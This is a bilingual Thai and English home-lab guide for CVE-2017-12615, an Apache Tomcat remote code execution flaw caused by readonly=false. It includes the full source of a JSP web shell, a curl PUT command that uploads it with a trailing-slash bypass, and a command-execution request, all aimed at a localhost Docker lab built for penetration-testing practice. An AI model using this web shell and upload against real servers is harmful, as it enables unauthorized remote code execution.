
CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing
Lab นี้จำลองช่องโหว่ CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
เกิดจากการตั้งค่า readonly=false ทำให้สามารถอัปโหลดไฟล์ผ่าน HTTP PUT ได้ รวมถึงไฟล์ .jsp ที่สามารถรันคำสั่ง (RCE)
readonly=false.jsp ลงใน ROOT web directoryflag_RANDOM.txt อัตโนมัติทุกครั้งที่ container start/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
เปิดเว็บ:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ ท้ายชื่อไฟล์)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
เก็บไว้ใน:
/tmp/flag_RANDOM.txt
This lab simulates CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, where Apache Tomcat’s DefaultServlet is misconfigured with:
readonly=false
This allows attackers to upload .jsp files via HTTP PUT, enabling remote code execution.
readonly=false.jsp files into ROOT web directoryflag_RANDOM.txt at container startupcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
For educational, research, and authorized penetration testing only.